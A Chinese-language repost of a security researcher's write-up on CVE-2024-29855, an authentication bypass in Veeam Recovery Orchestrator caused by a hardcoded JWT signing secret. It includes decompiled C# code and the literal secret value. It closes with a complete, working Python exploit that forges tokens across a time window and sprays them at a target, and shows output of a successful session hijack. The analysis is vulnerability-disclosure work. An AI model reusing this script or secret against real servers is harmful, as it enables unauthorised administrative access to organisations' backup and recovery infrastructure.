没有秘密 || 利用 Veeam CVE-2024-29855


没有秘密 || 利用 Veeam CVE-2024-29855

Veeam 发布了针对影响Veeam Recovery Orchestrator 的身份验证绕过漏洞 CVE-2024-29855 的CVSS 9公告,以下是我对此问题的完整分析和利用,虽然问题并不像听起来那么严重(不要惊慌)但我发现这个漏洞的机制有点有趣,并决定发布我的详细分析和利用。

简介(又是 TLDR)

6 月 10 日,Veeam 发布了一份公告,指出 Veeam Recovery Orchestrator 受到身份验证绕过的影响,允许未经身份验证的攻击者绕过身份验证并以管理员权限登录 Veeam Recovery Orchestrator Web UI。此漏洞的 CVSS 为 9.0

没有秘密 || 利用 Veeam CVE-2024-29855

该漏洞是由于用于生成身份验证令牌的 JWT 密钥是一个硬编码值,这意味着未经身份验证的攻击者可以为任何用户(不仅仅是管理员)生成有效令牌并登录 Veeam Recovery Orchestrator。

官方咨询国家:

Veeam Recovery Orchestrator (VRO) 版本 7.0.0.337 中的漏洞 (CVE-2024-29855) 允许攻击者以管理权限访问 VRO Web UI。

注意:攻击者必须知道具有活动 VRO UI 访问令牌的帐户的确切用户名和角色才能完成劫持。

没有秘密 || 利用 Veeam CVE-2024-29855

高级.NET利用

如果您很难理解这篇博文,但又想了解 .NET 漏洞利用,我最近公开了我的“高级 .NET 漏洞利用培训”,请注册并让我教您有关 .NET 相关漏洞的所有知识,如身份验证绕过、反序列化、缓解绕过等等。

没有秘密 || 利用 Veeam CVE-2024-29855

让我们开始

该漏洞相当简单,使用硬编码的 JWT 密钥来生成和验证用户令牌,以下是令牌生成方法(也称为)的骨架Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken。人们可以很快注意到,在第 (4) 行,一个字节数组被分配了内容this._appSettings.Secret

稍后在第(11)行,这个包含秘密的字节数组用于Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey通过将字节传递给其构造函数来实例化该类。然后将返回的实例传递给Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials作为其第一个参数,该参数为类型Microsoft.IdentityModel.Tokens.SecurityKey,对于第二个参数,使用以下值http://www.w3.org/2001/04/xmldsig-more#hmac-sha256,可以很快地说这就是算法被定义的地方hmac-sha256

现在我们有一个已填充的实例,Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor用于Microsoft.IdentityModel.Tokens.SecurityToken在第(13)行创建一个,然后该对象被传递给jwtSecurityTokenHandler.WriteToken发布一个供用户使用的签名令牌。

 1:  public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response) 2:  { 3:    JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler(); 4:    byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret); 5:    int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes; 6:    DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes); 7:    SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor 8:    { 9:      Subject = (ClaimsIdentity)principal.Identity,10:      Expires = new DateTime?(dateTime),11:      SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")12:    };13:    SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);14:    string text = jwtSecurityTokenHandler.WriteToken(securityToken);15:    AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo16:    {17:      Id = text,18:      ClaimIdentity = principal,19:      ExpiresUtc = new DateTimeOffset?(dateTime)20:    });21:    response.access_token = text;22:    response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);    }

如果你有兴趣验证提到的参数的类型,可以通过进入 Microsoft .NET 的实现来完成Microsoft.IdentityModel.Tokens.dll

 1:  using System; 2:  using System.Security.Cryptography.X509Certificates; 3:  using Microsoft.IdentityModel.Logging; 4:   5:  namespace Microsoft.IdentityModel.Tokens 6:  { 7:   8:    public class SigningCredentials 9:    {10:  11:      protected SigningCredentials(X509Certificate2 certificate)12:      {13:        if (certificate == null)14:        {15:          throw LogHelper.LogArgumentNullException("certificate");16:        }17:        this.Key = new X509SecurityKey(certificate);18:        this.Algorithm = "RS256";19:      }20:  21:  22:      protected SigningCredentials(X509Certificate2 certificate, string algorithm)23:      {24:        if (certificate == null)25:        {26:          throw LogHelper.LogArgumentNullException("certificate");27:        }28:        this.Key = new X509SecurityKey(certificate);29:        this.Algorithm = algorithm;30:      }31:  32:  33:      public SigningCredentials(SecurityKey key, string algorithm)34:      {35:        this.Key = key;36:        this.Algorithm = algorithm;37:      }

聪明的读者会问,它从哪里来this._appSettings.Secret

要回答这个问题,我们可以首先看一下声明_appSettings,然后看一下它的初始化,下面是定义此类的类型的地方Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings

我们很快就能发现public string Secret这个类别中我们感兴趣的成员。

 1:  using System; 2:   3:  namespace Veeam.AA.Web.Auth 4:  { 5:   6:    public class AppSettings 7:    { 8:   9:      public string Secret { get; set; }10:  11:      public int RefreshTokenExpireMinutes { get; set; }12:  13:      public int AccessTokenExpireMinutes { get; set; }14:  15:      public bool WebDavLogEverything { get; set; }16:  17:      public bool WebDavUrlAuthorizationMode { get; set; }18:    }19:  }

现在我们需要了解这个类的实例在哪里初始化。以下是Veeam.AA.Web.Startup.Configure负责处理此 .net 应用程序的初始化例程的方法的实现,而行 (70) 是AppSettings最终实例化的地方。

public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter) 1:  { 2:    Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>()); 3:    CancellationToken cancellationToken = applicationLifetime.ApplicationStopping; 4:    cancellationToken.Register(delegate 5:    { 6:      Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>()); 7:    }); 8:    cancellationToken = applicationLifetime.ApplicationStopped; 9:    cancellationToken.Register(delegate10:    {11:      Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());12:    });13:    if (env.IsDevelopment())14:    {15:      app.UseDeveloperExceptionPage();16:    }17:    app.UseSwagger(delegate(SwaggerOptions _)18:    {19:    });20:    bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;21:    app.UseSwaggerUI(delegate(SwaggerUIOptions options)22:    {23:      options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");24:      options.InjectJavascript("/swagger.custom.js", "text/javascript");25:      options.InjectStylesheet("/swagger.custom.css", "screen");26:      options.DefaultModelExpandDepth(0);27:      options.DefaultModelsExpandDepth(-1);28:      options.DocExpansion(DocExpansion.None);29:      for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)30:      {31:        ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];32:        int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;33:        int num = 0;34:        if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)35:        {36:          string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());37:          options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);38:        }39:      }40:      options.EnableValidator(null);41:      options.EnableDeepLinking();42:    });43:    string contentRootPath = env.ContentRootPath;44:    PathString pathString = new PathString("");45:    app.UseDefaultFiles(new DefaultFilesOptions46:    {47:      FileProvider = new PhysicalFileProvider(contentRootPath),48:      RequestPath = pathString49:    });50:    app.UseStaticFiles(new StaticFileOptions51:    {52:      FileProvider = new PhysicalFileProvider(contentRootPath),53:      RequestPath = pathString54:    });55:    app.UseRouting();56:    app.UseSession();57:    app.UseCors(delegate(CorsPolicyBuilder x)58:    {59:      x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();60:    });61:    Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);62:    accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });63:    NotificationServiceOptions pushServerOptions = new NotificationServiceOptions64:    {65:      AccessValidator = accessValidator66:    };67:    app.UseNotificationService(pushServerOptions);68:    app.UseAuthentication();69:    app.UseAuthorization();70:    AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;71:    app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);72:    app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)73:    {74:      endpoints.MapControllers();75:      endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");76:    });77:    Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());78:  }

填充此类成员的值取自以下文件appsettings.json,让我们看一下该文件内部。

我们可以很快地知道Secret密钥包含 JWT 秘密,而该产品的问题在于 JWT“秘密”值始终保持“相同”(在最新补丁之前)

{  "AppSettings": {    "Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=",    "RefreshTokenExpireMinutes": 120,    "AccessTokenExpireMinutes": 15,    "WebDavLogEverything": "false",    "WebDavUrlAuthorizationMode": "false"  },  "Vcf": {    "Host": "localhost",    "Port": 12348,    "ReconnectInterval": "0.00:01:00"  },  "Logging": {    "LogLevel": {      "Default": "Information",      "Microsoft": "Warning",      "Microsoft.Hosting.Lifetime": "Information"    }  },  "AllowedHosts": "*"}

现在我们了解了 JWT 令牌是如何生成的,人们可能会快速继续生成令牌,但对于这个产品,它不起作用,实际上有一些有趣的事情导致 CVSS 从 CVSS 9.8 下降到 CVSS 9,原因如下。

让我们看一下负责验证提供的 JWT 令牌的方法,该方法位于Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken

此方法的机制很简单,它期望以字符串形式传递一个令牌,然后继续创建我们在令牌生成部分讨论的类的实例(第 7 行),然后在第(8)行通过引用并将其值加载到字节数组中来JwtSecurityTokenHandler加载相同的硬编码 JWT 机密,然后(第 9 行)定义一个实例。this._appSettings.Secret 、ClaimsPrincipal

包含机密的字节数组用于实例化,SymmetricSecurityKey其返回值用于填充IssuerSigningKey成员属性,TokenValidationParameters其本身是传递给的第二个参数,用于jwtSecurityTokenHandler.ValidateToken验证已作为第一个参数传递的用户令牌,如果令牌通过验证,则将out securityToken包含已验证的令牌,以防从内部引发验证异常,则第Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken( catch26) 行的块用于捕获异常并分配null给先前定义的claimsPrincipal变量,意味着令牌无效。

但是,敏锐的眼睛可能会注意到这里的一些重要的东西,如果没有引发异常,那么在第(23)行,提供的令牌将被传递给AuthorizationTokenStore.AccessTokens.Get 类型的对象,AuthorizationInfo这种类型也称为Veeam.AA.Web.Auth.Models.AuthorizationInfo

如果返回的值AuthorizationTokenStore.AccessTokens.Get不等于,null则最终claimsPrincipal填充并返回给调用者以告知令牌有效。

但是什么AuthorizationTokenStore.AccessTokens.Get

 1:  public ClaimsPrincipal ValidateJwtToken(string token) 2:  { 3:    if (token == null) 4:    { 5:      return null; 6:    } 7:    JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler(); 8:    byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret); 9:    ClaimsPrincipal claimsPrincipal;10:    try11:    {12:      SecurityToken securityToken;13:      jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters14:      {15:        ValidateIssuerSigningKey = true,16:        IssuerSigningKey = new SymmetricSecurityKey(bytes),17:        ValidateIssuer = false,18:        ValidateAudience = false,19:        RequireExpirationTime = true,20:        ValidateLifetime = true,21:        ClockSkew = TimeSpan.Zero22:      }, out securityToken);23:      AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);24:      claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);25:    }26:    catch27:    {28:      claimsPrincipal = null;29:    }30:    return claimsPrincipal;31:  }

不再赘述,简单来说,访问AuthorizationTokenStore.AccessTokens.Get内存中的对象列表,这个对象列表显然存储了对象,但对于我们的目的而言,它包含先前颁发的 JWT 令牌列表,这非常重要,您问为什么呢?好吧,即使我们设法(滥用)使用硬编码的 JWT 密钥来生成有效令牌,如果该令牌实际上不是在过去颁发的,则返回会AuthorizationTokenStore.AccessTokens.Get导致null也会authorizationInfo导致并且null令牌验证也会失败。claimsPrincipal、null

 1:  using System; 2:  using System.Collections.Concurrent; 3:  using System.Collections.Generic; 4:  using System.Linq; 5:  using System.Linq.Expressions; 6:  using System.Reflection; 7:   8:  namespace Veeam.AA.Web.Auth 9:  {10:  11:  public class InMemoryObjectList<TEntity> where TEntity : class12:  {13:  14:    public InMemoryObjectList()15:    {16:      this.CreateIdGetter();17:    }18:  19:  20:    private Func<TEntity, object> CreateIdGetter()21:    {22:      Type typeFromHandle = typeof(TEntity);23:      PropertyInfo property = typeFromHandle.GetProperty("Id");24:      if (property == null)25:      {26:        throw new ArgumentException("Entity must have Id property");27:      }28:      ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");29:      Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));30:      LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });31:      this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;32:      return this._idGetter;33:    }34:  35:  36:    public void Add(TEntity entity)37:    {38:      object obj = this._idGetter(entity);39:      this._collection.TryAdd(obj, entity);40:    }41:  42:  43:    public TEntity Get(object id)44:    {45:      if (this._collection.ContainsKey(id))46:      {47:        return this._collection[id];48:      }49:      return default(TEntity);50:    }51:  52:  [..SNIP..]

为了演示内存中的对象列表是什么样子的,以下是list经过多次身份验证请求后的运行时内容,该列表包含多个有效的 JWT 令牌的管理员会话

没有秘密 || 利用 Veeam CVE-2024-29855

这正是 Veeam 官方咨询所指的(可以这么说)

没有秘密 || 利用 Veeam CVE-2024-29855

他们声称,这种利用需要满足三个条件:

  • 知道用户名

  • 了解角色

  • 目标具有活动会话

这是事实,这就是为什么这个问题的可利用性有点牵强,我同意这一点,但如你所知,我在这里是为了让这件事变得更有可能(只是一点点)

首先,“知道用户名”问题“有点”可以通过以下解决方案解决,假设存在一个名为的用户,[email protected]可以通过查看 SSL 证书的字段找到域名CN,并且可以对用户名进行喷洒,虽然有点蹩脚,但这就是我们现在所拥有的

其次,“知道”角色本身就是个笑话,经过进一步的逆向,我得出结论,角色可能的值只有 5 个,下面是这些角色的定义

 1:  using System; 2:  using System.Collections.Generic; 3:  using System.Runtime.CompilerServices; 4:   5:  namespace Veeam.AA.Common.Security 6:  { 7:  [NullableContext(1)] 8:  [Nullable(0)] 9:  public static class RoleNames10:  {11:    public const string Anonymous = "Anonymous";12:  13:    public const string Administrator = "DRSiteAdmin";14:  15:    public const string PlanAuthor = "DRPlanAuthor";16:  17:    public const string PlanOperator = "DRPlanOperator";18:  19:    public const string SetupOperator = "SiteSetupOperator";20:  21:    public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };22:  }23:  }

第三,目标具有活动会话,我们上面讨论过这个,创建的 JWT Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken存储在 InMemoryObjectList 中,因此用户需要登录。

所以现在的计划很简单,在一段时间内生成有效的 JWT 令牌,并将它们喷洒到服务器上,直到我们获得命中。提供的 PoC 是用 python 编写的,我认为其他语言可以做得更快,我希望一个强大的小伙子或小伙子可以制作一个更快的 poc 并让我知道它。

事情经过如下:

没有秘密 || 利用 Veeam CVE-2024-29855

演示

没有秘密 || 利用 Veeam CVE-2024-29855


python CVE-2024-29855.py  --start_time 1718264404 --end_time 1718264652 --username [email protected] --target https://192.168.253.180:9898/
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______ |______ | | | | | | | | | | | | | | | | ____ | |______ |_____| | | | ______| |_____| | | | | | | |_____| | _| __|__ | _| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/

(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200(+) Response: {"user":"[email protected]","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}


概念验证

"""Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29855)Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/"""

banner = r""" _______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______ |______ | | | | | | | | | | | | | | | | ____ | |______ |_____| | | | ______| |_____| | | | | | | |_____| | _| __|__ | _| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""
""""""
import jwtimport timeimport warningsimport requestsimport argparsefrom concurrent.futures import ThreadPoolExecutorimport signalimport sys
warnings.filterwarnings("ignore")
jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="counter = 0def exploit_token(token): global counter url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData" headers = {"Authorization": f"Bearer {token}"} try: res = requests.get(url, verify=False, headers=headers) if(res.status_code == 200): print(f"(+) Pwned Token: {token}, Status code: {res.status_code}n(+) Response: {res.text}") counter = 21 sys.exit(0) if(args.debug or counter == 10): print(f"(INFO) Spraying JWT Tokens: {res.status_code}") counter = 0 except requests.exceptions.RequestException as e: if args.debug: print(f"(INFO) Request failed: {e}")
counter += 1
def generate_token_and_exploit(current_time): claims = { "unique_name": args.username, "role": "SiteSetupOperator", "nbf": current_time, "exp": current_time + 900, "iat": current_time } encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256") exploit_token(encoded_jwt)
def signal_handler(sig, frame): print('Interrupted! Shutting down gracefully...') executor.shutdown(wait=False) sys.exit(0)
if __name__ == "__main__": print(banner) parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.") parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True) parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True) parser.add_argument("--username", type=str, help="[email protected] or evilcorp\administrator", required=True) parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True) parser.add_argument("--debug", action="store_true", help="Enable debug mode") args = parser.parse_args()
start_time = args.start_time end_time = args.end_time
signal.signal(signal.SIGINT, signal_handler)
with ThreadPoolExecutor() as executor: signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
current_time = start_time while current_time < end_time: try: executor.submit(generate_token_and_exploit, current_time) current_time += 1 except KeyboardInterrupt: print("Keyboard interrupt received, shutting down...") executor.shutdown(wait=False) sys.exit(0)


参考

https://github.com/sinsinology/CVE-2024-29855

https://www.veeam.com/kb4585


There Are No Secrets || Exploiting Veeam CVE-2024-29855https://summoning.team/blog/veeam-recovery-orchestrator-auth-bypass-cve-2024-29855/



感谢您抽出

没有秘密 || 利用 Veeam CVE-2024-29855

.

没有秘密 || 利用 Veeam CVE-2024-29855

.

没有秘密 || 利用 Veeam CVE-2024-29855

来阅读本文

没有秘密 || 利用 Veeam CVE-2024-29855

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):没有秘密 || 利用 Veeam CVE-2024-29855

版权声明:admin 发表于 2024年6月14日 上午11:40。
转载请注明:没有秘密 || 利用 Veeam CVE-2024-29855 | CTF导航

相关文章